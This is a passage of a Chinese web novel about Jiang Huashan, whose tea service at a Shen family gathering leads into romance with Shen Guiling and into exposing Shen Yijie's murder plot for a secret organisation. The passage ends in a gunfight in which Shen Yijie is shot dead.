姜花衫随意扫了一眼,取出四盒茶罐,冯妈正要从她手里接过茶罐,她摆摆手,“不用,我来。” 你来?! 这话惹得傅绥尔一脸震惊,直到看见姜花衫从温杯到投茶、注水、润茶一气呵成,坐杯时指尖三寸处悬停,她才后知后觉眨了眨眼睛。 不是!当初武太奶教她们的可不到这个地步,衫衫这是偷偷去考了个研? 到了出汤环节,姜花衫稍作迟疑,从案台的茶盏里选了四只不同的瓷器。 第一杯:明前白毫银针配影青瓷倒钟杯,银针清雅,瓷杯薄胎素白,适当留白,至精至微才能放大。 第二杯:武夷肉桂配*代建窑兔毫盏,肉桂茶汤橙黄,建盏底部深黑,岩骨铮铮,当以烈器激其锋芒。 第三杯:九窨茉莉花茶配现代定制水晶玻璃匀杯,茉莉之灵晶莹剔透,茶汤挂壁光可鉴人。 这三杯茶,既有一盏难求的孤品,又有“茶性”与“器性”之间的对话,所有人不觉都瞪大了眼,这一刻她们对沈家千年底蕴的门槛有了更具象的认知。 “姐姐,你平时都是这么喝茶的吗?”有个年纪小的少女一时没忍住,问出了大家的心声。 这个问题不好回答,如果说是,容易让人产生距离,若说不是,就等同于承认自己是在装逼作秀? 姜花衫挑了挑眉,不带一丝犹豫,“我平时不爱喝茶,比较喜欢喝草莓汁。” 大家愣了愣,完全想不到她会这么坦率。 姜花衫又道,“好茶待客不失礼节,可不想着大家远道而来,总不能给你们留下不学无术的坏印象。下次有人黑我,你们可得帮我作证,我除了漂亮,会的东西可多了~” 一句话好茶待客瞬间打开了格局,姜花衫这是在告诉所有人,沈家的权势不会用在待客之上,所有人都可以放心成为沈家的客人。 气氛顿时松弛下来,被当作贵客的少女们都笑了起来。 沈娇一直暗暗留心着姑娘们那边的情况,她原本还担心姜花衫一个人应付一群人会不适应,没想到,她竟然处理的比她想象中的还要好。 显山又露水,把阳谋算计到明面,目的达成又不失人心。 这是跟谁学的?她可没教过这些。 沈娇心有所动,转头看向人群中央的沈庄。 沈庄眉目垂然,看见这样的姜花衫,他眼里没有半点喜悦。 他从未教过姜花衫认茶辨器,还有她现在的坐姿谈吐…… 从姚歌开始,沈庄便废了去老宅学规矩的传统,小花儿身上怎么会有沈家闺范的影子? 这种事,可不是自学就能成的。 …… 第628章 不是不熟吗?追我做什么? 此刻,所有人的目光都在姜花衫身上,沈兰晞也不例外。 但和沈庄不同,沈兰晞的注意力完全集中在姜花衫递茶时的一个小小细节上,他发现,她几乎每一杯茶都是往左手边递的,可那群女生中明明没有一个是左撇子。 沈兰晞指尖微动,掩在重睫的眸光忽明忽暗,爷爷也不是,整个沈园只有他……惯用左手,虽然他已经通过后天学习纠正了这个习惯,但只要一放松他就会习惯用左手。 沈归灵倒没他们那么多心思,他早就知道姜花衫的本事可不止一点,见她展露出自己未见过的样子,着迷地舍不得挪眼。 沈兰晞越想越不对劲,起身走进女生群。 “一杯银针。” “是兰晞少爷?!” 他一出现,立马引起了女生们的惊呼,沈兰晞却没有半点反应,目光幽深看着姜花衫。 把她当茶小二了?姜花衫心里顿时烧起一股无名火。 上一世她去老宅学规矩的时候,一心想着怎么讨好沈兰晞,所以很多细节都是围着沈兰晞转的,但现在她真的一点都不想跟狗东西扯上关系。 沈归灵看出了她的心思,笑着跟进人群,“花茶看着不错,我也要一杯。 ” “嗯???好像是另外一个沈少爷,南湾那个……” 面对两个同样出色又极具吸引力的异性,女生们虽然已经极力克制,但还是不可避免地引起了小范围骚动。 姜花衫眼皮跳了跳,她现在最怕的就是沈归灵出来找存在感,这家伙情绪不稳又是恋爱脑,万一没控制露了馅,大庭广众可不好收场。 她想也没想,端起眼前的茉莉花茶一饮而尽。 沈归灵,“……” 沈兰晞皱眉,侧头看向沈归灵,摊了牌就是好,彼此都知道对方想做什么,就连敌意也是光明正大。 “让让~” 话音刚落,沈清予大摇大摆,直接从沈兰晞和沈归灵中间挤了进来。 “别管他们,先管管我,播了一上午我嗓子都冒烟了。” 姜花衫二话不说,提起茶壶递给沈清予,“拿走拿走。” “!” 真的假的?! 沈清予把茶壶拿在手里的时候还有些不敢相信。 幸福来得太突然了,他的嘴角不受控制上翘,得意看向身后某人,“兰晞哥,都喝了一早上的茶了,这茶还是让给我吧?” 沈青予眼里完全没有沈归灵,只有对沈兰晞的挑衅。 糟了! 沈娇一直默默关注姜花衫那边的情况,眼看三人对峙,她立马起身挤进人群。 “太太们隔着老远就闻着茶香了,清予,给小姑姑个面子,这茶就先让给姑姑怎么样?” “不……” 没等沈清予把不行说出口,沈娇直接从他手里拿过茶壶,临走时还不忘冲姜花衫眨了眨眼睛。 要想后宫不乱,你得雨露均沾。 “……”姜花衫看不懂,一头雾水看向傅绥尔,“什么意思?” 傅绥尔摇头,“不懂。” 沈清予一脸晦气,他怎么都没想到,争赢了沈兰晞后面竟然还有个沈娇? 沈兰晞最终什么都没说转头出了人群, “以后少跟他说话,他不是好人!”沈清予最大现在的乐趣就是盯着沈兰晞,挑拨离间都毫不避讳。 “……”姜花衫的表情一言难尽。 沈清予知道她叛逆,没再多说,转身路过沈归灵时脚步忽然顿住。 “这个也别搭理…” 他说的随意,黑色衬衣的领口微微敞开,脖子上戴了一条银色锁骨链。 同样都是极致的黑色,沈归灵是温雅贵气,沈清予则是张扬夺目。 沈归灵抬眸,两人目光交汇的瞬间,沈清予扬起嘴角,对直撞开沈归灵的肩膀,大摇大摆走出了人群。 “……” 不是说沈家人都是兄友弟恭的吗?少爷们平时就是这么相处的吗? 不过,他们都好宠妹妹啊,为了一杯茶差点都要打起来了! 沈归灵完全不受影响,当着众人的面掸了掸被沈清予碰过的肩膀,也不看姜花衫,转身出了人群。 “……” 姜花衫看着一个两个潇洒离去的背影,只觉拳头都硬了,她好不容易打起精神积极营业,全被这三颗老鼠屎搅乱了。 他们到底是来干嘛的?! 简直莫名其妙!!! 沈亦杰将这一切都看在眼里,最后那壶茶姜花衫宁愿全部给沈清予都不愿意分一杯出来,可见跟沈归灵是真的很不熟。 这下,他终于放心了。 沈归灵刚从人群里出来,沈亦杰立马上前搭话,“晚宴之前你一定要想办法把人带去夏园,否则等宴会正式开始,我们就很难下手了。” 沈归灵看了他一眼,慢步走进阆苑,“难不成你要自己亲自动手?你也看到了,姜花衫是老爷子的心头宝,杀了她,你觉得你跑的了吗?你要跑不了,我岂不是也会被拖下水?” 众目睽睽之下谈杀人越货,沈归灵是怎么做到宠辱不惊的?! 沈亦杰环顾一圈,声音警惕,“这个你不用担心,退路我早就想好了,白密不是还关在夏园吗?” 沈归灵了然,“你想嫁祸给白密?” 沈亦杰笑了笑,眼里的明媚如蜜糖淬毒,“白家人原本就跟沈家有过节,白密又曾三番两次对姜花衫下手,姜花衫误闯夏园,被白家人所杀合情合理。你说呢?” “有道理。”沈归灵站起身。 沈亦杰皱眉,“你去哪?” “钓鱼。” * 沈归灵从后山出来直接转去了内院,宴会宾客云集,他短暂离开不会引起任何人的注意。 除了…… 沈归灵转身绕过垂花门后,脚步停顿走进墙角。 “哒哒哒——” 身后的脚步声越来越近。 一、二、三…… 他在心里数着心跳的节拍,三声落地,一道白色的身影从眼前越过。 沈归灵扬起嘴角,一把扣住女孩儿的手腕将她拉进角落。 “我们,不是不熟吗?怎么追着我跑?” …… 第629章 今天还没有熟悉 沈归灵早就看出姜花衫看沈亦杰的眼神不对,所以刚才在主厅他故意和沈亦杰亲近了,为得就是把这个跟他不熟的祸坨子钓出来。 猎物入网,他急不可待想尝尝她的味道。 刚低头,姜花衫一巴掌抵着他的下巴,语气阴恻,“你和沈亦杰怎么突然走的这么近?你们刚刚还交头接耳了,想做坏事?” 沈归灵仰着头闷声笑了笑,微微凸起的喉结轻轻滚动,说不出的挑逗。 “你笑什么?”姜花衫左右看了看,十分警惕。 沈归灵保持着这个姿势,低睨着眉眼看着她,“我笑你一猜就中,我的确想做坏事~” “……”姜花衫顿时感觉整个头皮发麻,她有罪!竟然一下就听出了此坏事非彼坏事。 莫名其妙,手心也开始有些发烫,她立马抽离,为了防止沈归灵看出什么,故作风轻云淡。 “你少打岔,沈亦杰不会无缘无故找你,你们到底有什么见不得人的秘密?” 沈归灵晃了晃脖子,“你都知道是见不得人的秘密,怎么还明目张胆来问我?你就不怕我和他是一伙的?” 姜花衫嗤了一声,她怕个屁,沈眠枝那么聪明都败给了恋爱脑,沈归灵比沈眠枝更聪明,所以他只会败的更彻底。 她抬起下巴,不知道多有恃无恐,“你不是说我们才是联盟吗?叛变了提前说一声。” 沈归灵眼里的喜欢几乎藏不住,一把搂着她的腰,贴着她的额头,“我跟他不熟,不是一伙的,我只跟你熟……” 说着,顺势低头,高挺的鼻尖沿着她的鼻骨慢慢往下推,“今天还没有熟悉……” “……” 垂花门厚重的木框投下浓荫,恰好将两人拢进这方寸之地。 目光一旦焦灼,空气便骤然变得稀薄而滚烫,谁也没有再移开视线,一种无声的引力在两人之间绷紧、拉扯。 外头天光明亮喧声隐约浮动,门洞内却自成天地,暧昧升温。 沈归灵微微倾身,动作缓滞得如同慢镜,试探的意味昭然若揭。 他进,她没有退,那抹柔软的红润,在光影的切割下显得格外诱人。 无声是最暧昧的邀请…… 沈归灵俯首的阴影温柔地覆下,截断了两人之间最后一丝犹疑的光线,唇瓣相触的瞬间,世界骤然失声。 他用唇描摹她的唇形,亲吻的触感在颅内被放大了,在最情难自禁时坚定温柔撬开了她的牙关,他想尽办法挑逗她。 阳光撒在眼睑之上,姜花衫有些睁不开眼,她只知道属于沈归灵的清冽气息正密密麻麻被揉进唇间,这感觉令人窒息,魂颤。 气氛升温,血液在身体里加速游走,两个人的眼睛却越来越潮湿。 “不……”姜花衫怕失控,想结束这个吻。 “……要~”沈归灵捧住她的脸,封缄了她所有慌乱的低呼,也点燃了更深沉的悸动。 冬日的明媚被高大的梧桐枝叶揉碎,筛成万千跳跃的金斑,他和她就被这光影与花雨围拢着。 姜花衫的后背轻轻抵着粗糙的砖墙,身前是他投下的、带着体温的影子,将她完全笼罩。 沈归灵的一只手死死扣着她的腰身,手掌青筋暴动,一条条鼓动的青色小龙游窜向上臂延伸。 这个吻比以往都撩人,沈归灵隐隐感觉有些不受控,闭着眼轻喘着慢慢收敛力度。 正当他想结束时,姜花衫突然不受控制双手扣住他的脖子,踮起脚尖对着他的下巴咬了一口,“怕什么?有本事你继续~” 贴得那么近,她早就发现他不对劲了。 沈归灵眼神微暗,一只手用力扣住她的后颈,指节因用力而微微发白,他将她更深地按向自己,“我不怕,有你陪着,我什么都敢做,不信我们试试?” 他再无迟疑,阴影覆压下来,截断所有光线,这次的力道化为更深、更迫切的厮磨,唇齿间是紊乱灼热的气息,无声地交缠、吞噬…… 她喉间溢出一丝细弱的呜咽,指尖却不受控地攀上他肩臂的衣料,指节蜷紧,深陷进去。 门外是泼天的光亮与喧嚣,而门内这方寸阴影里,只剩下唇舌间无声的、滚烫的纠缠。 两颗狂跳不息的心脏,擂动着灼人的寂静。 * 与此同时,一门之外。 余笙正对着后院方向 迟疑不前。 自从上次沈归灵当众拒绝她之后,她已经不会在公众场合向他释放好意了,但不知为什么,她的注意力还是不受控制被他牵引。 沈归灵离开宴厅她是第一个发现的,她想也没想就追了出来,可当她站在后院门廊前却突然好似被人当头一棒。 死缠烂打,她什么时候成了自己最看不起的那类人? 余笙眼里满是挣扎,正要转身,眼神又立马定住。 就算是输,也要知道为什么输?输给了谁? 一念之差,心境大不相同,余笙回头看向三米开外的垂花门,正要进园…… “余小姐。” 身后忽然响起一道年轻的女声。 余笙微愣,顺着声音的方向回头看去。 但见一个装扮地十分洋气的年轻女孩笑着朝她走了过来。 余笙确认眼前这个女生她并不认识,她过人的记忆,她甚至想不起鲸港圈有过这么一号人。 “你刚刚叫我?” 女生笑着上前,十分大方伸手示好,“余小姐可能不认识我,我是南湾安氏企业的继承人,我叫安佳妮。” 作为总统千金,余笙对四湾家族的势力并不陌生,她立马在脑子里检索出了安氏的信息,姿态优雅伸手回握,“原来是安小姐,你好。找我有什么事吗?” 安佳妮略有些不好意思,“我看过余小姐的所有演讲,也很钦佩您对女性认同感的发言,之前一直没有机会,今天好不容易遇上不知道有没有机会跟余小姐好好聊聊?” 余笙略微沉吟,并没有马上应口。 “抱歉,是我太唐突了,余小姐别见怪。”安佳妮见状立马改口,说着转身就要走, “安小姐。”余笙抬眸,眼里带笑,“安小姐误会了,我并没有觉得唐突。” “真的吗?”安佳妮两眼放光,“那……我们一起去游湖?他们都去了。” 他们? 余笙心思微动,父亲若要连任下届总统之位,少不得需要各州各湾的支持,眼下的确是笼络人心的最好机会。 念此,她点头应道,“好。” 安佳妮立马上前挽住余笙的胳膊,“走吧。” 两人并肩,转出廊庑时,安佳妮回头,状似不经意扫了一眼身后的垂花门。 恰巧余笙转头看她,安佳妮一脸讨好,“余小姐,我之前还一直担心总统千金很难相处,没想到你人这么好啊~” …… 第630章 play中的一环 夏园。 白密双手抱胸,一脸严肃盯着眼前的丰盛佳肴足足看了十分钟。 什么情况?之前水都不给喝一口,今天连A国的国宴菜都端上来,沈家又想耍什么花样? “这菜里是不是下了毒?” 送菜的管事愣了愣,装作没听见,转身出了院子。 白密冷哼了一声,继续摆烂躺了回去,他现在每天就吃八分之一个馒头坐着伤元气。 真是窝囊死了,也不知道沈家要把他关到什么时候?该不会他真的要成为S国历史上第一个被饿死的王子吧? 这还不如一头撞死算了。 白密闭了闭眼,有气无力敲击着竹椅扶手。 太香了! 沈家上哪找的厨子,怎么能把食材的香气激发到这种地步?他现在能拒绝一百万个超绝美人儿,但拒绝不了沈家厨子的一碗东坡肉。 啊!!! 白密猛地坐起身,眯眼看着眼前的美食,不管了,死就死了。 他拿起银叉,叉了一块东坡肉塞进嘴里大口朵颐。 五分钟后,桌面风卷云残,白密一手拿刀一手拿叉,仰头呼呼大睡。 姜花衫看着眼前的场景,表情一言难尽,“他这样的,凭什么比我们活的久?” 上一世她离开之前,白密不仅活的好好的,国际地位还不是一般的高,就他这智商?凭什么? 沈归灵正在检查白密的状态,闻言,不解看着她。 “没什么。”姜花衫摆摆手,转头打量院子,“沈亦杰竟然有这么大的本事?不仅能支走夏园守卫,还能给白密下毒?” 这点是真的吓着她了,还以为沈执死了之后,白家内鬼都清出去了,看来事情远远没有她想的这么简单。 姜花衫忽然想到沈庄临死之前,沁园人手也是突然被人支走的,她的脸色突然变得很难看,“现在你可以告诉我,沈亦杰到底打的什么主意了吧?” 沈归灵丢下白密,拉着她进了偏厅的休息室,确认四下无人,低声道,“一时半会儿说不明白,我不想影响你的判断,让他自己跟你说?” 姜花衫皱眉,“沈亦杰现在巴不得我死,他怎么可能老实交代?” 沈归灵,“我有办法,只不过你可能要受点委屈。” 姜花衫斜睨他,“什么办法?” 沈归灵,“我把你绑起来,他高兴了就什么都说了。” “……”姜花衫好像明白了,但又没有完全明白,她盯着沈归灵打量了片刻,主动伸出双手,“那绑吧。” 沈归灵虽然已经猜到了她的反应,但当他真正感受到被她信任时,才发现这种感觉远比他想象中的要珍贵。 他扣住她的手腕,指尖顺着青色的静脉缓缓画圈。 “你信我?为什么信我?你不怕吗?” 如果他真跟别人是一伙的,她搞不好会没命。 姜花衫摇头,“不怕。” 天底下哪有塘主怕鱼的道理? 沈归灵被哄开心,心情大好,从西服口袋里拿出一条黑丝蕾丝。 “等会儿!”姜花衫嘴角抽搐,一脸难以置信,“你用这个绑?” 沈归灵偏头看了看手里的缎带,丝毫没有觉得有什么不妥,语气真诚,“用别的我怕你疼。” 骗鬼吧。 姜花衫眼皮直跳,“你当沈亦杰是傻子吗?” “别动。”沈归灵抓住她手让她背向自己,十分熟练打了个蝴蝶结,“相信我,他很好骗的。” “……”姜花衫一时不知该说什么,所以,她绞尽脑汁要找出的内鬼,在沈归灵眼里就是个傻子?那她算什么?小傻瓜吗? “好了。” 沈归灵拦腰将她抱起,姜花衫猝不及防,抬头目光一下就黏在了一起。 姜花衫愣了愣,不知怎么脑子里全是刚刚两人一起合作的小电影。 她有些心虚,低眸,目光不知怎么就落在沈归灵被咬破的嘴皮上。 火上浇油,画面更黄了。 沈归灵笑了笑,将她放在沙发上,正要起身,姜花衫抬脚轻轻踢了踢他的小腿,“你……” 她抬起头,“你……怎么没有想过告诉爷爷?” 以现在情况看,沈归灵应该是知道沈亦杰有问题了,他并没有剧目之门的限制,依照正常逻辑,这件事交给爷爷处理比较好。 但他没有,所以极有可能,沈归灵和沈亦杰之间存在某种关联。 她之所以问,是想知道更多不知道的剧情,并非不信任沈归灵。 沈归灵眼底掠过一丝弧光,沉默片刻,他半蹲下身子认真解释,“如果告诉爷爷,就不能要他的命了。” 姜花衫眸光霎时惊起千层涟漪。 沈归灵笑了笑,“你想要他的命,对吗?” 原来还是为了她…… * “叩叩——” 沈归灵起身,刚打开房门,沈亦杰便急不可待挤进了屋。 “怎么样?人抓到了?” 沈归灵侧身,沈亦杰顺着屋里看去,这才发现姜花被绑着了双手和嘴巴,晕倒在沙发上。 沈亦杰眼底一亮,迫不及待冲上前,刚跨进卧室突然察觉到不对脸色古怪,怎么还有蕾丝啊?这是绑架还是情趣play啊? 他一脸警惕看向身后的沈归灵,“你就没别的东西可以用了?” 沈归灵,“不用蕾丝怎么叫骗?人已经带来了,不要我还回去。” 沈亦杰无言以对,又转过身打量起姜花衫。 “人我已经带走了,之后的事你自己搞定。”沈归灵一副急于脱身的样子。 沈亦杰这才放下了防备,露出得逞的微笑:“这个时候还想独善其身是不是太天真了?L?” …… 已开新裙~Vb:叁生三三333营业中~欢迎来撩~ 第631章 利维坦之陨 L? 什么L? 姜花衫安详闭着眼睛,脑子却像一锅炸开的粥。 其实,她已经隐隐猜到沈归灵和沈亦杰存在某种关联。 原以为这种关联是与沈澈有关,或许沈澈早已经和二房暗中勾结在了一块。但这句“L”忽然让她意识到事情远没有那么简单。 不是家族内斗,是利益联盟。 沈归灵停下脚步,回头,面无表情看着沈亦杰。 “别这么看着我,别忘了,你当初是怎么进沈园的?南湾大英雄,你该不会真以为有了几个破头衔就可以为所欲为了吧?” 沈亦杰脸上的笑容更甚,语气更是无辜。 沈归灵笑了笑,思忖片刻抬步往屋里走去,路过沈亦杰时眼皮都没抬一下。 沈亦杰皱眉,还没反应过来就看见他翘腿歪头挨着姜花衫坐了下来。 “……” 搞什么? 沈归灵眼里丝毫被戏耍的懊恼,单手支颐侧脸,漫不经心把玩着姜花衫手腕上的蝴蝶结。 “要不,把她叫醒起来,我们一起讨论?” 姜花衫,“…………” 沈亦杰脸上的笑容收敛了几分,之前沈年就说过,沈归灵这个人喜怒无常,他现在总算是见识到了。 一个私生子不仅能在沈园站稳脚跟,还能跟沈兰晞分庭抗礼,实力绝不容小觑,这样的人可不能一直受威胁。 思忖片刻,沈亦杰缓和了语气,“你不用紧张,大家都是盟友,只要你好好配合,你的秘密永远不会有人知道。” 沈归灵指尖顿住,抬眸审视沈亦杰,“配合?” 沈亦杰,“你跑去威胁姚歌的事阿年哥可以不计较,但你别忘了,你之所以能好好站在这都是阿年哥网开一面。但你进入沈园之后就玩消失,组织的任务也不参与,L,我这次来也是阿年哥的意思,你最好能有一个合理的解释,否则你应该知道背叛组织会是什么下场?” 组织?沈年? 姜花衫忽然感觉有无数个剧情点在往她脑子里钻,难怪剧情主线偏离到69%就无法推进了,原来这个世界还有一个巨大的阴谋潜伏在冰川之下。 “什么解释?”沈归灵语气寻常,“当初组织只让我在沈园站住脚,获取沈老爷子的信任,我不是做的很好吗?” “……”沈亦杰万万没想到他还能这么理直气壮,怒道,“那你也不能失联五年啊!这五年,一次聊天室都没有登陆,一次情报都没有传回!!!” 沈归灵,“这里是沈园,不是菜园。我如果伪装不好下场就是死,切除与你们的一切联系,沈家人才能真正信任我,连这么浅显的道理都懂,难怪你和你那个无能的父亲会被一锅端。” “沈归灵!!!” 这话可算是触及到沈亦杰的逆鳞,他顿时大怒,冲上前一把揪住沈归灵的衣襟,“你有种再说一次。” 沈归灵低睨打量他,眼底敛着幽光,“松开。” 沈亦杰皱眉,指尖关节因过于用力微微泛白。 沈归灵扯着嘴角,冷笑了一声,抬脚对着沈亦杰的下腹踹了过去。 沈亦杰完全没想到他会动手,脸色骤变跪倒在地。 “你……” 沈归灵弯腰,俯身一把掐住他的脖子,“沈年没有告诉你,我最讨厌别人碰我?”说着,将人重重甩了出去。 “……”姜花衫默默咽了咽口水,趁沈亦杰摔倒的空隙悄咪咪往后挪。 沈归灵忽然感觉挨着他腰侧的温度莫名消失了,没等他回头,沈亦杰已经爬了起来,沈归灵二话不说对着沈亦杰的肩膀又是一脚飞踢。 “砰——” 沈亦杰应声重重栽倒在地。 突如其来的连环踢让沈亦杰来不及反应,但他经历过特种训练,抗击打能力远远高于常人,沈归灵出脚虽然狠,但并未对他造成实际伤害。 很快,沈亦杰回过神,单手撑地慢慢坐了起来,眼神阴冷打量沈归灵。 “你什么意思?” 沈归灵,“以你的等级还不够在我面前指手画脚,别说你,就算沈年也不行。你来沈园要做什么,是组织给你的任务,跟我没关系。所以,要我办事,说话最好客气点,否则杀了你,也不过顺手的事。” 利维坦之陨里面的成员都是经过千挑万选的顶尖人才,没一个善男信女,有点小脾气很正常,成员之间相互狙杀的事更不在少数,只要不是涉及核心人员,组织一般不会管。 恰好,L和J都是核心成员。 所以,哪怕沈亦杰今天死在沈归灵手里,只要他有正当理由,利维坦之陨就不会追究。 沈亦杰脸色阴沉。 他还真是小瞧了沈归灵,原以为掌握了他是冒牌货的证据这家伙就会为他所用,没想到竟然是块这么难啃的骨头。 不过也正是因为沈归灵这副油盐不进的样子,才彻底打消了沈亦杰心中的顾虑。 他一直担心沈归灵入沈园这五年已经被沈家同化了,甚至他都怀疑沈归灵早就投靠了老爷子,但沈年却说,沈归灵这样的人,永远只忠诚于自己,这世上没有人能收服他。 原本他还不信,现在看来,沈年说得果然没错。 沈亦杰沉吟片刻,站起身,故作姿态拍了拍衣摆的灰尘,转身走到沈归灵对面的沙发前,对峙入座,正色道: “组织原本派了我和阿泽去取沈娇的命,但中间出了一点纰漏,计划失败了。” 姜花衫的心忽然漏跳一拍。 之前她通过剧目续写已经猜到了在十字路口与她交手的是沈家双胞胎,但她一直以为沈亦泽和沈亦杰都是受沈澈指使,没想到,他们背后竟然还有个组织! 沈归灵似乎一点兴趣都没有,话都懒得接。 沈亦杰见状,忍着脾气冷声道,“你一直在沈家,应该知道沈娇失忆是不是真的,这件事事关利维坦之陨所有人的利益,我希望你能如实回答。” 沈归灵挑眉,不置可否看着他。 “……”沈亦杰闭了闭眼,咬牙道,“为了布下未央台的暗杀局,我和阿泽亲自去见了沈娇,故意在周元白之前下了杀手,若是沈娇没有失忆,我和阿泽就败露了。” 沈归灵眼眸低垂,思忖片刻眸底闪过一丝幽暗。 “你们早就知道沈澈会和周元白暗中勾结,你们提前去了未央台对沈娇下了杀手?” “周元白不明所以,只会以为是沈澈动的手,他和沈澈是同盟,他一定会想办法把沈娇的罪名坐实。至于沈谦和沈渊,二房和三房一直有龃龉,你们料定沈娇出事这两人一定会落井下石,所以……这场布局所有人都是你们的傀儡?” 沈亦杰略有怔愣,片刻后似是想到什么,转头看向沙发上的姜花衫,眼底覆满阴霾,“原本计划万无一失,都是这个贱……” 没等他说完,沈归灵冷冷打断,“三重布局,环环相扣,你们那群猪脑里还有人能下这种棋?聊天室来新人了?” “……”沈亦杰正上头,冷不丁听了这话表情比活吞了一只苍蝇还难受。 沈归灵又自顾道,“你们远在天南海北,沈澈和周元白要对沈娇下手你们是怎么知道的?沈澈可不是一个会向儿子有所的交代父亲,所以问题出在周元白身上……” 说罢,他想到什么,抬眸打量沈亦杰,“是周宴珩?” “你们把他招进来了?” …… 第632章 瞄准他的心脏 “你……” 沈亦杰眼里满是错愕,难以置信看着沈归灵。 若之前,他还觉得自己可以靠一个把柄拿捏沈归灵,那现在他半点轻视都不敢有了。 这五年沈归灵完全与组织脱轨,结果竟然仅仅只凭只言片语就分析出了整件事情的始末。 难怪沈年对他多有忌惮。 沈亦杰也不傻,直接转过话题,“因为这件事,组织对我很不满,要求我必须妥善收尾。” 但他已经不敢与沈归灵直接对视了,唯恐他能从自己的眼里窥视到什么? “收尾?”沈归灵,“难不成你想再杀沈娇一次?” 姜花衫得表情越发安详。 沈亦杰摇头,“再杀只能再图谋,所以我才需要一个绝不会出错的回答,沈娇是不是真的失忆了?” “是。”沈归灵不假思索回道。 其实通过这几天暗暗观察,沈亦杰心中已经有了答案,但有沈归灵验证他心中的大石总算落了地。 那么,现在就只剩一个麻烦了。 他冷冷看向沙发上的少女,坦言道:“我这次来的目的是杀了白密。” 白密是S国的王位候选人,他要是死在沈家,不仅A国和S国的两邦联盟会被打破,沈家和白家也会反目成仇。 为沈家树下一个同为鲸王的敌人,沈家也能败得更彻底一点。 沈归灵好似没看见沈亦杰眼里的恶毒,转头打量起身侧之人,“那,跟她又有什么关系?” “白密必须死在沈家手里计划才能顺利进行,老爷子深谋远虑,一向以大局为重,要让他一怒冲冠,这个贱人正好适合。” 见沈归灵没有接话,沈亦杰又继续说道,“现在夏园的人已经被清理干净了,下一批轮值的要半个小时以后才换岗。这半个小时足够我们布局反杀。” 沈归灵偏头,“我们?” “现在这两个人都在我们手里,只要我们伪造出白密奸*淫这贱人至死的假象,以老爷子对这贱人的宠爱,定然不会饶过白密,盛怒之下很难保持理智,即便事后再查出什么也为时已晚。” 沈亦杰战术性停顿,嘴角扬起一抹微笑,“你若愿意帮我,我回去就会向组织表功,并替你作证。你自己也知道,组织不断接纳新人,对于七年无所产出的成员即便没有背叛也会抹除。” 说罢,他抬手击掌三声,房门被人从外面推开,一个黑衣壮汉拖着白密进了屋。 沈亦杰站起身,抬脚踢了踢白密的肩膀,笑着看向沈归灵,“这功劳我分你一半,事后你替我掩护,我们相互作证如何?” 沈归灵作出一副思考状,沈亦杰也不催促,片刻后,沈归灵坐直身体,认真看着他,“你还有什么说的吗?” 沈亦杰摊手,“我已经说的够清楚了,L,你是个聪明人,应该知道怎么选择对你最有利。” 沈归灵点头,侧身勾住姜花衫手腕上的绑带,轻轻一拉,黑色的蕾丝如风中飘拂的柳絮轻轻散落。 姜花衫睁眼,压下眸底的暗涌,面无表情坐了起来。 “!” 沈亦杰脑子嗡地一下宕机,这一幕太过惊悚,以至于他脸上的那抹算计都来不及收回。 姜花衫抬手,扯下嘴里的缎带,挑着眉梢朝他招手。 这挑衅,与那日十字路口一般无二,她杀了阿泽后,也是这么有恃无恐。 沈亦杰只觉一股热流直冲颅顶,仇恨、愤怒、屈辱,几乎要将他淹埋。 他强忍着撕碎姜花衫的冲动,笑着看向沈归灵,“L,什么意思?” 此刻的笑,带着满满的血腥味。 沈归灵站起身,就在沈亦杰以为他会出手时,他出手了,俯身贴着姜花衫的脸,蜻蜓点水碰了碰她的嘴角。 姜花衫都愣住了,没还反应过来,沈归灵转头看向沈亦杰,“正式通知你一下,我背叛组织了。” “……”沈亦杰眼底的笑容彻底消失,沉默许久又莫名笑了出来。 他咬着牙,指着对面两人,想说什么又不知道说什么,这下是真的被气到无语了。 什么不熟? 什么钓鱼? 搞了半天,这两人是合起伙来耍他。 “你们……套我的话?我草!沈归灵你他么是不是个男人?你他妈要是为了沈家权利老子还高看你一眼,你他们为个女人…???” 沈亦杰直接暴走,愤怒之下直接从腰间掏出手枪对着姜花衫。 “行,算你们狠,大不了鱼死网破,一起死啊!!!”说罢单手上膛扣下扳机。 姜花衫早就等着这一刻,在沈亦杰掏枪的瞬间她毫不迟疑掏出藏在沙发里的手枪。 她不怕与沈亦杰对枪,她是女主,大不了挨颗子弹,反正不会死。 就在这时,一道身影扑在她身前,单手环抱她。 收回已经不可能。 “砰——砰——” 两声枪响同时落下。 一颗子弹击中沈亦杰的肩膀,另外一颗击中了沈归灵的腹部。 姜花衫眼底的眸光乍然碎开,在她还没反应过来时,沈归灵用另一只手托举住她颤抖的手…… “瞄准他的心脏。” “砰!” …… 第633章 乱混 子弹穿过气流,毫无分差没入心房。 “怦——” 这是沈亦杰最后一次听见自己的心跳声。 他眼里的诧异甚至来不及收回,心口血水就如涨潮浪花般侵蚀了他的白色衬衫。 短暂的麻痹后,他感觉心口像被生生撕开一般剧痛,这就是阿泽临死前的感觉吗? 沈亦杰抬起头想再看看眼前的世界,但他已经没有了力气。 “砰——” 他甚至来不及闭眼,就重重栽倒在地。 姜花衫神情还有些恍惚,几乎是本能,她抬高手势对准屋内的壮汉,没等她扣下扳机,原本托举的手突然变成了一道重力压下了她的胳膊,下一秒,沈归灵捂着伤口扑进她的怀里。 这看似漫长的过程其实也不过眨眼之间,与此同时,一旁的壮汉也终于反应过来,立马掏出腰侧的手枪…… 可没等子弹上膛,一直趴在地上的白密突然单手撑地,一跃而起,顺势拉住壮汉持枪的手反推抵着他的脖子。 “砰!” 扳机扣下,一枪穿喉。 白密似早有预料一般提前偏头,堪堪避过飞溅的血水。 姜花衫愣了愣,正要起身,忽然想起之前沈归灵曾特意探查过白密的状态,若是白密装晕他不可能不知道。 她低头看向怀里的人,眼神有些复杂。 沈归灵早就知道白密是装的,他刚刚故意压着她的手,就是为了让白密开枪。 可是……他怎么有把握白密一定会出手?若她是白家人,恨不得让他们自相残杀都死干净才好。 沈归灵脸色苍白,额头不断冒出豆大般的冷汗。子弹穿过内脏,一开始只是感觉被什么砸了一下,短暂麻痹之后是好比生剥活肉的噬心之痛,这种状态下晕过去才是解脱。 但沈归灵没有,他只是低垂着眼,不堪羸弱抱着姜花衫。 姜花衫,“……” 好娇。 白密杀人夺枪只在一瞬间,原本气势汹汹,转头看见眼前抱作一团的两人瞬间就有点破大防了! 不是! 他们S国最强血脉!!!一个人拿下一个团如雄鹰一般的男人,怎么……怎么……跟个小鸡仔一样在女人的怀里求安慰??? 白密感觉自己的拳头硬了,好想一枪崩了眼前这个女人。 